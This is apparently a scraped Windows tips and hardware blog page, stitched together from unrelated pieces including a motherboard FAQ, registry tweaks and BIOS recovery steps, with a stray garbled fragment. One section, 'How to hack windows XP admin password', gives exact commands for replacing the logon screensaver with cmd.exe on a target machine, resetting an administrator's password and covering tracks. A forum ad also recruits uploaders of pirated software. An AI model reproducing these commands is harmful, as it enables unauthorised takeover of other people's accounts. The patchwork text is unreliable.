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Hardware Support for Windows 7

Hardware Support for Windows 7

February 01, 2009 by Jason

Even though Windows 7 is essentially the evolution of Windows Vista, as the operating system is available in public Beta, users of the development milestone will inherently come across glitches, including hardware incompatibility problems. Furthermore, some Windows 7 Beta Build 7000 testers are bound to run into incompatibility issues even with Microsoft’s own hardware products, namely the peripherals that the company is building through its hardware division. However, the software giant already has software in place designed to make its hardware products play nice with Windows 7 Beta.
According to Microsoft, the Habu Laser Gaming Mouse and the Reclusa Gaming Keyboard do not have Beta software available for Windows 7 Beta. “Habu Laser Gaming Mouse will continue to have basic functionality without an additional software download. Reclusa Gaming Keyboard will continue to have basic functionality without an additional software download,” the company informed. Read More»

Posted in Hardware, Windows 7 | No Comments »

Turn your PC into a Super Computer

January 21, 2009 by Jason

What, exactly, are supercomputers? The clue is in the name, really: they’re powerful computers capable of calculating many millions of floating operations per second (FLOPS) essentially, they’re very, very fast.
While any array of powerful computers, such as a modern-day web server which consists of several motherboards (the main circuit board of a computer) running in parallel can be considered a supercomputer, generally the term is reserved for machines that dedicate their entire hardware to one complex task at any given time.
Take the NEC Earth Simulator in Japan, for example, which was created specifically for modelling weather problems associated with global warming. Or the world’s fastest computer, BlueGene/L at Lawrence Livermore National Laboratory in the US, which simulates the behaviour of biomolecular structures and protein folding. It’s capable of 600 trillion FLOPS (tera-FLOPS or TFLOPS), whereas, the six-year-old Earth Simulator is only capable of 36TFLOPS. BlueGene/L won’t hold the top spot for long, though. Supercomputers twice as powerful will be online soon. Read More»

Posted in Computer, Hardware | No Comments »

How to Identify Your Intel Chipset on Windows by Device Manager

November 18, 2008 by Jason

Use the following steps to identify your chipset using the Microsoft Windows* Device Manager.
1. Open Device Manager.
for Windows Vista
Click Start » click Control Panel » click System and Maintenance » clickDevice Manager
for Windows XP
Click Start » click Control Panel » double-click the System icon » click the Hardware tab » click Device Manager
for Windows 2000
Click the Start button » click Settings » click Control Panel » double-click the System icon » click the Hardware tab » click Device Manager Read More»

Posted in Hardware | No Comments »

Windows Laptop Selector Guide

September 02, 2008 by Jason

While Apple’s Macs running OS X are without a doubt making inroads into the territory owned by Microsoft and PC makers with Windows machines, the fact of the matter is that the Redmond company and its OEM partners still account for the vast majority of the operating system and computer markets.
As far as consumer trends are concerned, there is a palpable shift from traditional desktops to laptops, and Microsoft is not only delivering Windows Vista, an operating system tailored to a mobile lifestyle, but it is also prepared to offer guidance on the acquisition of a new computer. From the Windows Guide library, the Redmond company has made available for download the Windows Laptop Selector Buying Basics.
“GHz? MBs? SDRAM? You don’t have to speak nerd to find a great laptop. Our Buying Basics makes it simple and straightforward to understand what you need to know when looking for your next PC,” reads an excerpt from the guide. Of course that the decision to buy a new machine orbits around money. “Many people see price as the biggest factor when buying a PC. A bargain-basement price may seem tempting now, but will it give you the laptop you want for the long haul? Technology changes rapidly and even if you spend less today, you might end up paying more tomorrow just to keep up with new software.” Read More»

Posted in Hardware | 2 Comments »

Improve performance by tweaking your hardware

August 21, 2008 by Jason

Learn how your hard drive and graphics card impact your system’s performance, and dig deep under the bonnet to discover and fix hardware issues.
In previous guides we have looked at improving your system’s performance by simply removing unwanted programs. The next area we want to understand is the impact your hard drive and graphics card have on your system.
Before we start examining your computer, we need to see what Windows Vista believes is possible from the system when it’s working at its best. Searching for ‘Performance’ in Start Search should lead you to the Performance Information and Tools analysis of your system. If any numbers are low, then you may wish to consider looking at these areas for replacement. My laptop has a lowest rating of 4.3, which is more than adequate, but should one number be low compared to the rest, I would consider replacing that element. If your computer is running low on RAM, for example, it will use the hard drive as an extension of memory, but this deals a fatal blow to your computer’s performance because the hard drive can be 1,000 times slower than memory. In my experience, a Windows Vista PC with just 1GB of memory will struggle unless your system is only lightly used. Read More»

Posted in Hardware | No Comments »

Six Things to Consider Before Buying a Laptop

August 19, 2008 by Jason

Laptops are complex little machines with a variety of configuration options which can lead to very confusing buying decisions. In this article, we are going to cover out factors that one should consider before purchasing a laptop. These 6 factors are the crux of any laptop purchase and by using these as a guideline, you can land the most appropriate mobile PC for your needs.
1- Weight
The lighter the laptop, the easier it is to move around. Prices usually have an inverse relationship with the weight of a laptop. Hence the lightest of laptops will almost (always) cost more than the heaviest ones.
Another relationship is the features of a laptop which would affect the weight of the laptop, which can be if it has a powerful graphics card, or a larger screen etc. The laptop will end up being comparatively heavier and more expensive. So keep a look out for that.
2- Power Consumption
Battery life is critical for users who are on the go. On an average workload, a regular low budget laptop would easily give you 2.5 to 3 hours of battery time. A fairly good machine would easily clock in 4 hours. Read More»

Posted in Computer, Hardware | 1 Comment »

Modding Your Laptop Graphics Card Drivers

August 17, 2008 by Jason

Whenever you play computer games that utilizes 3D graphics, a decent frame rate of about 25-30 frames per second is a prerequisite to make the games run smoothly and be at all enjoyable. If you play on a desktop PC, you always have the option to put in a more powerful graphics card, but that’s not an option with laptop computers. Another problem with laptops – but one that can be avoided – is the lack of updated graphics card drivers. Using updated drivers can provide better performance in new games thanks to game-specific fixes and improvements.
The Problem with OEM Drivers
Although both of the leading graphics card manufacturers (ATI/AMD and Nvidia) provide generic driver updates regularly that are designed to work with all of the respective manufacturer’s chips – even the laptop versions – most OEMs (laptop manufacturers) do not allow these to be installed on your laptop, since they prefer to use proprietary solutions for all their driver updates. As a result, you may be forced to use drivers that are as old as your laptop if the OEM doesn’t update their drivers on a regular basis, which is unfortunately often the case. Read More»

Posted in Hardware | 1 Comment »

How to identify if you’re CRT Monitor Should Be Replaced ?

August 15, 2008 by Jason

Don’t take that computer monitor in for repair! Often, it is no longer cost-effective to do so. While you or your budget may or may not agree with these tips, it could give you more peace of mind. And help with deciding if and when that old CRT (tube) computer monitor should be retired. You may be surprised to know, a CRT type of computer screen is a more durable option if children or schools will be using it. They often have more life in them.
Necessary Things: CRT monitor, Scissors, Fountain pen, Cable
1. Push the button on the front of the monitor to turn on the monitor if it is not powered on. You might hear a slight buzz sound and see the screen flicker. Wait for Microsoft Windows to load.
2. In the case you do not see a picture, repeat the procedure. If it is flashing in any color other than green you may have a problem. Otherwise, give it time to warm up. Read More»

Posted in Hardware | No Comments »

Hardware Restrictions In Vista

August 11, 2008 by Jason

Vista lets you place restrictions on hardware devices to protect against data theft. You can place restrictions on device installation, limit access to devices already installed and control Autoplay settings for removable devices.
Data theft can occur through the installation of hardware such as removable storage devices. For example, an attacker can install a removable device on your computer with the intent of copying your data to it.
Vista protects against this type of data theft through device installation restrictions. You can control the installation of devices through the local computer policy (or a group policy). You can find these settings in the following container:
Computer Configuration \ Administrative Templates \ System \ Device Installation \ Device Installation Restrictions.
Read More»

Posted in Hardware, Windows Vista | No Comments »

More Information Than You Need…

August 04, 2008 by Jason

We’ve mentioned hardware information utilities a couple of times in the past, these are programs that tell you about your computer and its setup, but this freeware tool, called HWiNFO32, leaves absolutely nothing to the imagination. If it were technically possible to tell you how many nuts and bolts are holding your PC together, it would do so. As it is you’ll just have to be content with every possible scrap of information regarding the hardware connected to your computer that it is possible to extract, from the manufacturer’s code name for your CPU chip, to whether or not your monitor supports an obscure feature called Blank to Black Setup. You can also set a benchmark, so you can track performance and monitor changes, there’s a Sensor page, that tells you all about the temperatures and voltages running around inside your machine, and you can save Reports, which might come in handy one day, if you need to track down a tricky fault.

Motherboard Parts:

-----------------------
Contents:
----------------------


1. Motherboard Parts 
2. Credits
3. Legal
4. Contact Information


----------------------------------------
Motherboard Parts:
---------------------------------------


-----
BIOS:
-----
When your computer is turned on the motherboard is in charge of booting up and 
runs that is in the basic input output system which is the BIOS. The BIOS is 
in charge of testing and preparing the hardware inside your  rig and once it 
is done it hands off control to the OS (operating system). The BIOS is stored 
on a small flash drive which is usually around 2 - 4 megabytes. It is possible 
to update it.


-----------
CPU Socket:
-----------
This is a socket which contains your CPU that your board accommodates. Make 
Sure when installing yu heat sink that you do not hit/break the capacitors near 
Your CPU since sometimes they are placed close by.


----------------
Expansion Slots:
----------------
New mobs support a variety of PCI and Pci-Express expansion slots. If you add 
a new mob to your current rig you shall be able to add new and better 
Functionalities to your computer such as a better graphics card and better 
Sound card. A new long black slot has been implemented onto the motherboards 
Which is a x16 PCI-E slots and there are the new small ones which are x1 PCI-E 
Slots. The white slots, usually white, are the old PCI slots.


-------------
Memory Slots:
-------------
The are the slots that carry and run your RAM. The place where they have been 
located and shape have not changed much since their original creation.Now the 
slots are capable of holding more and faster RAM than in te past. They are 
also able to carry either Single or Dual channel RAM.


-------------
North Bridge:
-------------
The motherboard's North Bridge is usually covered with a fan now A days since 
it acts as an interface between the graphics card and the CPU and between the 
RAM and the CPU. The North Bridge is also responsible for communicating with 
the South Bridge. The North Bridge usually runs the extra features such as the 
high speed USB ports and Lan and extra PCI-E slots. North Bridges need to be 
cooled since they are packed with as many if not more transistors than a CPU. 
If you see that your motherboard is acting sluggish, you could most of the 
time blame it on you North Bridge.


-----------
SATA Ports:
-----------
SATA ports are Serial ATA ports which are used to connect HardDrives to your 
computer. Soon enough CD-Rom Drives will be using this interface as well. The 
ports are quickly removing the old parrallel ports known as ATA or PATA. Both 
of the above mentioned ports will be seen around for a long time still to come.


-------------
South Bridge:
-------------
The South Bridge is usually covered only by a heatsink which controls all 
optical drives and hard drives, USB ports and PCI and PCI-E ports. The South 
Bridge is usually giving the North Bridge a helping hand when needed but now 
that there is an increasing emphasis on hard drives, USB connections and 
expansion cards the South Bridge is getting more attention. Just a year ago 
the South Bridges usually never needed heatsinks since they didn't do much but 
now things have changed and since they move so much information they  now need 
a heatsink.


-----------------
Other Components:
-----------------
Motherboard manufactures always have the chance of adding little extras that 
will get them more customers compared to their competitors. These parts can 
vary in performance. If  a SATA Raid Chip, Texas Instrument FireFire 
controller and a Gigabit Lan chips are added on you may want to first  hit the 
internet after writting down the chip make and model to do some research 
before purchasing that selected board.


--------
Credits:
--------


I would like to thank IGN for hosting this guide for me as well.
I would like to thank all of the great companies who make motherboards 
continously in order to make the technology that they provide to be the top of 
the line.


------
Legal:
------


  This FAQ is ¿2005 Greg Monkiewicz. You can not take this Faq and sell it, 
put it on your website, or change it without my permission. You may, however, 
print this guide for your own, personal use.


The only site aloud to have this Faq on their site is:


http://faqs.ign.com


If you see this guide on anyone's site (beside the above), please email me 
about it.


--------------------
Contact information:
--------------------


  Do not email me asking to work with me on this FAQ because I prefer to work 
alone. You may email me if you have information to give to me or if I have 
false information. I may also accept emails telling me about spelling errors 
but note that you will not be credited by that. You can send me an email at 
gmonkiewicz@gmail.com. It may take a couple of days before you are replied, 
and you may not even get a reply.


  If you have any questions, you can email me but note that if the question or 
information you are looking for is in this FAQ, you will not get a reply.


I WILL NOT READ YOUR EMAIL IF:


-You do not put the topic as FAQ: Question (if you have a question), FAQ: 
Information (if you have information for me or correcting my false 
information), or FAQ: Spelling (for correcting my spelling). 
-The question or information you are looking for is in this guide already.
-You do not put your name in the email. The reason being is, I need your name 
to give you credit, and I don't want to be accused of stealing. If you wish 
not to put your name or gamefaq username, put "from anonymous".

How to hack windows XP admin password

 WINDOWS TIPS COLLECTION

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.

Add A Login Text Reminder

This little reminder will pop-up everytime you start the computer, right before the login screen boots. You can edit it to say whatever you like.

1. Go to “Start,” “Run,” and type regedit.ext.

2. When the Registry Editor loads, navigate to
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Current Version \ Winlogon

3. You should now see a multitude of registry keys that are essential for the logon. To do what we are trying to do, add a text reminder, find the registry key LegalNoticeCaption and right-click, and select Modify.

4. Now, type whatever you like in the box to set a caption/title for the window.

5. For the actual text you would like to display, find the Registry Key right under it titled LegalNoticeText and again right-click it, then select Modify. Type whatever you like in the box.

Set Default Logan Identity

Also conveniently placed in the Winlogon directory is the Registry Key titled AutoAdminLogin, DefaultDomainName, and DefaultUserName. These keys set the default login credentials for the system when the login is loaded. If you simply want to save time by automatically setting the correct username and password everytime, and this computer is not used by a bunch of people then it is fine.
If the computer you are tweaking happens to be used by many people then I would not recommend using this tweak, unless, of course, you are intending on everyone using the same account. Anyway here it is:

1. Go to “Start,” “Run,” and type regedit.exe.

2. When the Registry Editor loads, navigate to
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Current Version \ Winlogon

3. The AutoAdminLogin key should be set to 0 currently if your system does not automatically log you on. If the system does, though, automatically log you on, then this should be set to 1.

4. The DefaultDomainName key is the default user directory the username is selected to do. Usually, this will not need to be changed, unless you are logging onto a server.

5. The DefaultUserName key, obviously, sets the default username. You can change this to whatever you wish to accompany your username.

Change the Logon Screensaver

Changing the logon screensaver may be the best part. The ability to show your friends your ultra-cool  tweaking skills and superior computer modding. Anyway, here is an easy way using some cool software. (Note: The installation is quite easy and shouldn’t need much explanation.)

1. Download BootSkin.

2. Find and download new or used current “BootSkins” provided after installation to change your boot screen. (To download and access new “BootSkins” you can go to WinCustomize.)

Hope these small tweaks help you get a little closer to the perfect computer. Have fun tweaking!

;text� � g : ��� X c o-pagination:none; mso-layout-grid-align:none;text-autospace:none'>Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.

Once done, Notepad should appear as an option in the right click menu of all your files.

How To Remove and Add Right-Click Menu Items

How To Remove and Add Right-Click Menu Items from Files and Folders

Removing Items

A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times, you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don't even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer visible!

Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it's not at all difficult once you know the keys responsible for the additions.

For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don't want.
Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.

ie; - {b5eedee0-c06e-11cf-8c56-444553540000}

Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler.

Note that the above key only applies to the right click menu of files.
To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:

HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers

All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.

Adding Items

Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.

For folders, go to this key:

HKEY_CLASSES_ROOT\Folder

Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click "Default" and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.


For files, go here again:

HKEY_CLASSES_ROOT\*

Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.

Once done, Notepad should appear as an option in the right click menu of all your files.

Do you want 500$

Do you want 500$ ??? Then join our uploading team!!!

We believe here that uploaders are the most important members in a forum,

so we thought: why not making a way to repay them for their grate work?

That's when we decided to make something that no one did till now.

We all do this from passion, but why should not be rewarded for what we do?

All the other forums ask you to upload for them based on your good

intentions, now we want to add something more to that.

We will give rewards in money for the best uploaders!!!

Why shouldn't you receive the recognition you diserve?

In fact, if it waren't for uploaders and their wonderful work,

no warez forum could work. So we want to repay you for your grate efforts.

We will give 500$ as reward for the best 3 uploaders we have,

acording to this:

the best: 300$

no.2: 150$

no.3: 50$

Vizit: http://www.softinet.org for more details!

Creating a Board aka Forum on your own PC !

 First of all you need Apache Server, PHP, MySQL and a Forum Script i.e. phpBB or Invision or vBulletin.

Download phpDev here

http://keihanna.dl.sourceforge.net/sourceforge/phpdev5/phpdev423.exe

and you get a bundle of all the things above.

exttract & install php dev. start the apache server,its 90% done.

upload the forum script to X:/phpdev/www/public

(x is your drive, usually C: )

now to access the forum through internet you will not know your IP address thru ipconfig command..

go to

http://www.whatismyip.com

see whats your IP address.

now go to

http://your ip address/public/your forum directory/install.php

thats it!

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Change Text on XP Start Button

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.


Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]

Boot Block Recovery For Free

You don't need to pay a measly sum of dollars just to recover from a boot block mode. Here it is folks:


AWARD Bootblock recovery:


That shorting trick should work if the boot block code is not corrupted, and it should not be if /sb switch is used when flashing the bios (instead of /wb switch).


The 2 pins to short to force a checksum error varies from chip to chip. But these are usually the highest-numbered address pins (A10 and above).


These are the pins used by the system to read the System BIOS (original.bin for award v6), calculate the ROM checksum and see if it's valid before decompressing it into memory, and subsequently allow Bootblock POST to pass control over to the System BIOS.


You just have to fool the system into believing that the System BIOS is corrupt. This you do by giving your system a hard time reading the System BIOS by shorting the 2 high address pins. And when it could not read the System BIOS properly, ROM Checksum Error is detected "so to speak" and Bootblock recovery is activated.


Sometimes, any combination of the high address pins won't work to force a checksum error in some chips, like my Winbond W49F002U. But shorting the #WE pin with the highest-numbered address pin (A17) worked for this chip. You just have to be experimentative if you're not comfortable with "hot flashing" or "replacement BIOS".


But to avoid further damage to your chip if you're not sure which are the correct pins to short, measure the potential between the 2 pins by a voltmeter while the system is on. If the voltage reading is zero (or no potential at all), it is safe to short these pins.


But do not short the pins while the system is on. Instead, power down then do the short, then power up while still shorting. And as soon as you hear 3 beeps (1 long, 2 short), remove the short at once so that automatic reflashing from Drive A can proceed without errors (assuming you had autoexec.bat in it).


About how to do the shorting, the tip of a screwdriver would do. But with such minute pins on the PLCC chip, I'm pretty comfortable doing it with the tip of my multi-tester or voltmeter probe. Short the pins at the point where they come out of the chip.






AMIBIOS Recovery bootblock:
1. Copy a known working BIOS image for your board to a floppy and rename it to AMIBOOT.ROM.
2. Insert the floppy in your system's floppydrive.
3. Power on the system while holding CTRL+Home keys. Release the keys when you hear a beep and/or see the floppy light coming on.
4 . Just wait until you hear 4 beeps. When 4 beeps are heard the reprogramming of the System Block BIOS went succesfull, so then you may restart your system.


Some alternative keys that can be used to force BIOS update (only the System Block will be updated so it's quite safe):
CTRL+Home= restore missing code into system block and clear CMOS when programming went ok.
CTRL+Page Up= restore missing code into system block and clear CMOS or DMI when programming went ok.
CTRL+Page Down= restore missing code into system block and do not clear CMOS and DMI area when programming went ok
Btw: the alternative keys work only with AMIBIOS 7 or higher (so for example an AMI 6.26 BIOS can be only recovered by using CTRL+Home keys).
Boot Block Recovery for FREE


************************************************
BLACKOUT Flashing
*************************************************


Recovering a Corrupt AMI BIOS chip
With motherboards that use BOOT BLOCK BIOS it is possible to recover a corrupted BIOS because the BOOT BLOCK section of the BIOS, which is responsible for booting the computer remains unmodified. When an AMI BIOS becomes corrupt the system will appear to start, but nothing will appear on the screen, the floppy drive light will come on and the system will access the floppy drive repeatedly. If your motherboard has an ISA slot and you have an old ISA video card lying around, put the ISA video card in your system and connect the monitor. The BOOT BLOCK section of the BIOS only supports ISA video cards, so if you do not have an ISA video card or your motherboard does not have ISA slots, you will have to restore your BIOS blind, with no monitor to show you what’s going on.


AMI has integrated a recovery routine into the BOOT BLOCK of the BIOS, which in the event the BIOS becomes corrupt can be used to restore the BIOS to a working state. The routine is called when the SYSTEM BLOCK of the BIOS is empty. The restore routine will access the floppy drive looking for a BIOS file names AMIBOOT.ROM, this is why the floppy drive light comes on and the drive spins. If the file is found it is loaded into the SYSTEM BLOCK of the BIOS to replace the missing information. To restore your BIOS simply copy a working BIOS file to a floppy diskette and rename it AMIBOOT.ROM, then insert it into the computer while the power is on. The diskette does not need to be bootable or contain a flash utility. After about four minutes the system will beep four times. Remove the floppy diskette from the drive and reboot the computer. The BIOS should now be restored.


Recovering a Corrupt AWARD BIOS
With AWARD BIOS the process is similar but still a bit different. To recover an AWARD BIOS you will need to create a floppy diskette with a working BIOS file in .BIN format, an AWARD flash utility and an AUTOEXEC.BAT file. AWARD BIOS will not automatically restore the BIOS information to the SYSTEM BLOCK for this reason you will need to add the commands necessary to flash the BIOS in the AUTOEXEC.BAT file. The system will run the AUTOEXE.BAT file, which will in turn flash the BIOS. This is fairly easy. Here are the steps you need to take.


· Create a bootable floppy diskette
· Copy the BIOS file and flash utility to the diskette
· Create an text file with any standard text editor and add the following lines


@ECHO OFF
FLASH763 BIOSFILE.BIN /py


